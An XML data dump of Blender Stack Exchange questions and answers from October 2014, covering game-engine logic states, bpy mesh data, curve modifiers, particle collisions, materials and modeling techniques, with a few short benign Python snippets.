  <row Id="18261" PostTypeId="2" ParentId="18194" CreationDate="2014-10-27T18:36:24.320" Score="3" Body="&lt;p&gt;This calls for &lt;strong&gt;States&lt;/strong&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, States let you setup completely different logic brick behaviours for walk and fly and transition between these conditions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the (+) icon on top of the controllers list to show the all the State slots. Notice how all the logic are on the 1st state right now. We'll change that. We'll assign all the walk logic to the 1st state, and all the flying one to the second.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Let's setup a detector to figure out when the robot is off the ground using a ray sensor, and have it transition to the 'Fly' state.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K7e6V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, let's go to the 'Fly' state and setup the logic bricks so that it will transition back to the walk state.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RarYt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The rest should be pretty straight forward.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-10-27T18:36:24.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18263" PostTypeId="1" AcceptedAnswerId="18264" CreationDate="2014-10-27T20:11:36.873" Score="0" ViewCount="126" Body="&lt;p&gt;My python command line shows names for objects that are not on the scene anymore when I try to autocomplete on&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.meshes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.meshes['Cube']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is a valid reference even though there is no object named &lt;code&gt;Cube&lt;/code&gt; on the scene anymore and no error or warning is issued, my script just goes on and does nothing .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm supposed to keep the Python API in sync with the scene manually - and in this case, how ? - or I'm missing something ?&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2014-10-27T20:55:50.970" Title="bpy data out of sync with the actual scene" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18264" PostTypeId="2" ParentId="18263" CreationDate="2014-10-27T20:29:51.170" Score="2" Body="&lt;p&gt;&lt;code&gt;bpy.data.meshes&lt;/code&gt; is all of the meshes in the all of the scenes. Meshes are different from objects, a mesh would be like the vertex positions while an object is made of a mesh, and contains the modifiers, materials, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an object selected you can see the name of the mesh by going to: &lt;code&gt;Properties Panel &amp;gt; Data&lt;/code&gt; here you will see the name of the object's mesh, you can also get a list of all the meshes in the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am guessing that you have a cube, or an object that at one point was a cube and that is why the mesh name is &lt;code&gt;Cube&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get rid of meshes that aren't currently being used then you can do something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;for mesh in bpy.data.meshes:&#xA;    if mesh.users == 0:&#xA;        bpy.data.meshes.remove(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="2617" LastEditDate="2014-10-27T20:55:50.970" LastActivityDate="2014-10-27T20:55:50.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18265" PostTypeId="2" ParentId="17902" CreationDate="2014-10-27T20:57:24.770" Score="5" Body="&lt;p&gt;I do not know exactly what you are trying to accomplish, but I would recommend trying a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Curve&quot; rel=&quot;nofollow noreferrer&quot;&gt;curve modifier&lt;/a&gt;. Don't actually use a curve to apply the modifiers to, but apply the modifiers to a mesh, and then add a curve modifier to make the mesh follow the profile of whatever curve you select. Like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H2dgl.png&quot; alt=&quot;Curve modifier can go both before and after all mesh deforming modifiers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it looks in the viewport, on the right is without the curve modifier, and on the left is the mesh with the curve modifier.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kSUiu.png&quot; alt=&quot;Curve modifier deforms a mesh along any type of curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand you correctly, this should be just what you are looking for. Feel free to drop a comment below if that is not the case or something is not clear.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="2217" LastEditDate="2014-11-06T03:24:05.443" LastActivityDate="2014-11-06T03:24:05.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18266" PostTypeId="1" AcceptedAnswerId="18293" CreationDate="2014-10-27T21:39:26.300" Score="4" ViewCount="2428" Body="&lt;p&gt;I have had recommendations to render images, rather than animation, so if an error occurs I do not need to rerender the entire sequence. I like the idea, but have had issues with high quality conversion of images into video. I have tried: ffmpeg, timelapseassembler, iMovie, Blender VSE. These can all do a decent job, but I find a lose quality in the images, relative to just rendering the straight workflow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to reword the question: &quot;What is your workflow from rendered images to high quality video?&quot;&lt;/p&gt;&#xA;" OwnerUserId="6435" LastActivityDate="2014-10-30T12:53:50.907" Title="Workflow to convert rendered images to video" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18267" PostTypeId="1" CreationDate="2014-10-27T21:45:25.947" Score="3" ViewCount="882" Body="&lt;p&gt;If I do this in a script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v = bpy.data.objects['Cube'].data.vertices[0].co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;v&lt;/code&gt; becomes a deep copy of that vector, this is a behaviour that is common to many other places inside the Python APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The irony is that in Python the method &lt;a href=&quot;https://docs.python.org/3.4/library/copy.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;copy&lt;/code&gt;&lt;/a&gt; returns a shallow copy, and &lt;a href=&quot;https://docs.python.org/3.4/library/copy.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;deepcopy&lt;/code&gt;&lt;/a&gt; returns a ... deepcopy; in Blender it looks like there is no real rationale for what you get, apparently everything is tuned for deep copies, but when an object has the &lt;code&gt;copy&lt;/code&gt; method, it returns a deepcopy and not the standard python-esque shallow copy, and the method &lt;code&gt;deepcopy&lt;/code&gt; is pretty much absent .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside loops you tend to get shallow copies because of Python optimizations, but speaking about the API in general, how I can enforce the use of shallow copies ?&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2014-10-28T18:08:07.580" Title="How to force a shallow copy?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18268" PostTypeId="1" AcceptedAnswerId="18284" CreationDate="2014-10-27T21:52:13.547" Score="1" ViewCount="192" Body="&lt;p&gt;How can I modify the following .blend file in order for the cube to wait 10 seconds in &quot;point.004&quot;. I don't want to use the sleep function.&lt;br&gt;&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/32390&quot; rel=&quot;nofollow&quot;&gt;Here is the file&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="2217" LastEditDate="2014-10-27T22:42:14.290" LastActivityDate="2014-10-28T08:29:39.840" Title="BGE: Path follower wait in a specific point" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18269" PostTypeId="1" CreationDate="2014-10-28T00:19:19.380" Score="0" ViewCount="3733" Body="&lt;p&gt;When I render it the light doesn't appear.&#xA;In more detail, the Spot kind light does not appear in rendered or in the game-engine. I do have GLSL shading activated.&#xA;By the way this worked perfectly in 2.65 but it won't work now even if I re-download 2.65.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QsTRt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QsTRt.png&quot; alt=&quot;buggy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7722" LastEditorUserId="32220" LastEditDate="2019-01-13T13:57:19.873" LastActivityDate="2019-01-13T13:57:19.873" Title="Spot light not working in render or the game engine" Tags="&lt;rendering&gt;&lt;game-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18270" PostTypeId="2" ParentId="18269" CreationDate="2014-10-28T00:48:38.297" Score="2" Body="&lt;p&gt;Spotlight only works well in the game engine when the draw mode is set to 'GLSL'. You can change that setting in the attribute editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0fhXx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-10-28T00:48:38.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18271" PostTypeId="1" AcceptedAnswerId="18411" CreationDate="2014-10-28T02:36:10.443" Score="5" ViewCount="2264" Body="&lt;p&gt;I am building a vault for a project for work. I finished and was ready to render, but, when I looked at the first frame of the render I realized that the anisotropic shader no longer had radial blur. That is the part of the material that makes it look the most metallic, which is what I need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create new objects, my material works as expected. How can I get my anisotropic material to go back to the way it was before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HWAkx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what it looks like now (which is NOT what I want):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XzBf7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have removed the material and reapplied it.&lt;/li&gt;&#xA;&lt;li&gt;I detached the node, and created a new one, in many different ways.&lt;/li&gt;&#xA;&lt;li&gt;I have created a new object, added a new anisotropic material, and used the boolean operator to make the new object into the one I created. This helped, but the material still did not work properly (i.e. the center of the radial blur was off centered.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyway. I am trying to get the radial blur back, and get it centered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &lt;a href=&quot;http://www.pasteall.org/blend/32535&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is a .blend&lt;/a&gt; with a part of the vault, which exhibits the problem I have described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screen shot of the material node: &lt;a href=&quot;https://i.stack.imgur.com/XD4xZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XD4xZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7723" LastEditorUserId="29274" LastEditDate="2016-12-19T22:18:15.207" LastActivityDate="2016-12-19T22:18:15.207" Title="Anisotropic material no longer appears radial?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18272" PostTypeId="2" ParentId="18202" CreationDate="2014-10-28T02:52:04.250" Score="1" Body="&lt;p&gt;If you want to start on something like this you can use curves to block out the main form and as mentioned in some other the other answers, you can convert the curves to a mesh and then extrude the form out.  There are many videos on how to use curves for making logos so that would be a good keyword to use when searching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i) You can add a curve then align the curve to an axis by pressing either &lt;kbd&gt;x&lt;/kbd&gt;, &lt;kbd&gt;y&lt;/kbd&gt; or &lt;kbd&gt;z&lt;/kbd&gt; followed by &lt;kbd&gt;0&lt;/kbd&gt;, then press &lt;kbd&gt;Enter&lt;/kbd&gt; to set the tool options you have choosen .  This will scale everything to the average point of everything selected so long as you have the following pivot option selected.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xa3SO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d1uSo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can simply Extrude out more curve points by pressing &lt;kbd&gt;e&lt;/kbd&gt; for Extrude(there is also a UI button in the Toolshelf &lt;kbd&gt;t&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you reach a corner, you can press &lt;kbd&gt;v&lt;/kbd&gt; to access the Set Handle Type menu and if you select Vector then the handle will now be able to form a sharp corner as shown in the following image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WTPxh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is 1/4 of a cinder block that has been roughed-out using curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kbXjR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Object Mode &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;c&lt;/kbd&gt; was used to convert the curves to a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Caxl9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can add a Mirror Modifier set to mirror both the x and y axis's and Apply it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Vkbf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in Edit mode the extra vertices which have been created should be removed.  This can be done by selecting the unwanted vertices and using &lt;kbd&gt;x&lt;/kbd&gt;then &lt;kbd&gt;d&lt;/kbd&gt; for Dissolve Vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tdM2A.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have difficulty removing the vertices that are at the mirrored points then it could be that they were too far a part to merge so you can use &lt;kbd&gt;w&lt;/kbd&gt; -&gt; Remove Doubles, and also, you will likely have to increase the Merge Distance a bit.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9S7bm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cg13I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you might have to use Flip Normals after the extrude operation to have all the components facing in the proper direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2hVLk.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can select the border edges and use &lt;em&gt;Fill&lt;/em&gt;.  There are several variations of fill tools that can handle different situations.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6KTOT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-10-28T02:52:04.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18273" PostTypeId="2" ParentId="18202" CreationDate="2014-10-28T03:17:34.820" Score="2" Body="&lt;p&gt;Here is a way you can make an object like this without having to repair a model that was already made since this can often be more difficult than just starting over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with a plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EQBw7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add some blocks that will be used by the Boolean modifier to cut out the holes.(make these a separate object)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/26sdN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the Boolean Modifier to the plane and set the Boolean Modifier's Object field to be the 'holes' object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lFILt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often the Boolean operation will make a bit of a mess after you apply it.  In this case, there were extra faces that had to be selected and deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o937S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the joining lines were not entirely symmetrical so I made them match up by selecting point and using &lt;kbd&gt;j&lt;/kbd&gt; which activates the Vertex Connect tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rTVVh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNNLN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude using &lt;kbd&gt;e&lt;/kbd&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a6kA1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now activate Edge Selection mode and select Edges that you would like to be curved and use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;b&lt;/kbd&gt; to activate the Bevel tool.  Now adjust the parameters to achieve the corners that you would like to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9RYbI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to also add a few extra loop cuts to some areas to help control poly flow since the nGon/triangles will cause problems with modifiers that add geometry like SubDivision/Bevel.&#xA;in the following two images I first added a loop cut to the long side of the block and then manually selected points and used the Vertex Connect tool &lt;kbd&gt;j&lt;/kbd&gt; to even out the triangles.  Then you can select all the faces along the top and bottom and use inset to keep the messy geometry away from the edges so they won't cause modeling/rendering problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G6jl5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jEigE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a demonstration using the Bevel Modifier that shows why keeping a clean poly-flow can be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UtmDa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-10-28T04:09:05.093" LastActivityDate="2014-10-28T04:09:05.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18274" PostTypeId="1" AcceptedAnswerId="18394" CreationDate="2014-10-28T04:13:52.507" Score="1" ViewCount="369" Body="&lt;p&gt;I am using a &lt;strong&gt;Copy transform Constraint&lt;/strong&gt; , But when I apply it this happens .&lt;img src=&quot;https://i.stack.imgur.com/yCmUh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to avoid , of course the mag stretching . &lt;strong&gt;BUT&lt;/strong&gt; I have tried using Only, copy rot and Loc. That miserably fails because it moves the armature to the middle of nowhere, and rotates it awkwardly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also trying to avoid Any scaling, &lt;strong&gt;I have applied Scale&lt;/strong&gt;, to the armature and mesh, but that dos not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using &quot;child of&quot;, It works but it doesn't &lt;strong&gt;follow&lt;/strong&gt; it. It moves with it but lags behind and just doesn't cooperate with me.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="12" LastEditDate="2014-10-30T21:23:56.110" LastActivityDate="2014-11-30T11:04:00.990" Title="Copy transforms Constraint gives strange scaling and transforms?" Tags="&lt;transforms&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18275" PostTypeId="1" CreationDate="2014-10-28T04:28:07.640" Score="4" ViewCount="1886" Body="&lt;p&gt;I have an object with a Mirror, Subsurface, and Solidify modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gave it &lt;em&gt;Collision&lt;/em&gt; in the Physics panel, but the particle system just goes through the object. I have not baked the particles before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding a new object without any modifiers and the collision works. Does collision of the particle can be done in original object, or any something wrong with my scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just wanna to make this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ti2eP.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what is happening&#xA;&lt;img src=&quot;https://i.stack.imgur.com/H4X2s.gif&quot; alt=&quot;Collision example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my particle setting&#xA;&lt;a href=&quot;https://i.stack.imgur.com/D3ZzR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D3ZzR.png&quot; alt=&quot;Particle setting&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7725" LastEditorUserId="2217" LastEditDate="2014-10-28T14:35:14.070" LastActivityDate="2014-10-28T14:35:14.070" Title="Particles don't collide with collision object?" Tags="&lt;particles&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18277" PostTypeId="2" ParentId="18275" CreationDate="2014-10-28T05:24:52.810" Score="0" Body="&lt;p&gt;Why not make your particles follow a path?  If your car needs to actually be moving, parent the emitter and paths. I recall I did something similar before and it worked well.&lt;/p&gt;&#xA;" OwnerUserId="7703" LastActivityDate="2014-10-28T05:24:52.810" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18278" PostTypeId="2" ParentId="5469" CreationDate="2014-10-28T05:36:10.847" Score="1" Body="&lt;p&gt;You can just use 2 complete fluid systems. You cannot bake with multiple domains, but you CAN play back more than one. Create the first sim and bake it to a directory. Now disable the Domain and create your second sim and bake to a new directory. Now enable the first domain and ensure it points to the correct bake directory. Both sims will play back and you can put whatever material you want on each.  I have had as many as 5 sims running at once and each started at a different time. All in one scene.&lt;/p&gt;&#xA;" OwnerUserId="7703" LastActivityDate="2014-10-28T05:36:10.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18280" PostTypeId="1" CreationDate="2014-10-28T07:04:20.470" Score="2" ViewCount="79" Body="&lt;p&gt;Why is it that when you create a circle, then do a curve deform across that circle, the object always jumps to the opposite side?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what the final result should look like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H9pYC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what happens when trying to create that object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=TXvMSw_9VRc&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=TXvMSw_9VRc&amp;amp;feature=youtu.be&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I simplify deforming a shape to a curve without having to rotate multiple times? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/460997/Blender/smooshed-copy.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender File&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1026" LastActivityDate="2014-10-28T07:45:17.317" Title="Why are circles always created upside down?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18282" PostTypeId="2" ParentId="18280" CreationDate="2014-10-28T07:45:17.317" Score="2" Body="&lt;p&gt;You could also bring the shape into the position (illustarted by the first image) by moving it along the x-axis.&#xA;&lt;kbd&gt;G&lt;/kbd&gt;,&lt;kbd&gt;X&lt;/kbd&gt;  followed by mouse movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5CYFS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-28T07:45:17.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18283" PostTypeId="2" ParentId="18275" CreationDate="2014-10-28T08:25:53.160" Score="2" Body="&lt;p&gt;You could add small slices to a plane as emitter vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OPoGe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a wind force field to blow the particles up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare the results of the &lt;em&gt;Kill Particles&lt;/em&gt; checkbox from the settings of your collision object. When you don't kill them they will be deflected. Make sure the particles cannot escape through holes in your model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oqdFL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6vGV1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/46wOH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/32395&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-28T08:25:53.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18284" PostTypeId="2" ParentId="18268" CreationDate="2014-10-28T08:29:39.840" Score="2" Body="&lt;p&gt;You can simply switch to a different state, in which you do nothing but wait to switch back to the original state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That could look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def wait(self, seconds):&#xA;    self[&quot;clock&quot;] = 0&#xA;    sen_prop = self.sensors[&quot;Property&quot;]&#xA;    sen_prop.min = str(seconds)&#xA;    sen_prop.max = str(seconds + 1)&#xA;    self.state = 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then to use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wait(cont.owner, 10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function assumes the presence of a Timer property called &quot;clock&quot;, and a property sensor (called &quot;Property&quot;) in state 2, connected to a state actuator that switches back to the original state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a modified version of your demo, that shows this in action: &lt;a href=&quot;https://www.dropbox.com/s/75lm38dtlz9o399/wait_at_point.blend?dl=1&quot; rel=&quot;nofollow&quot;&gt;track_to_point.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6355" LastActivityDate="2014-10-28T08:29:39.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
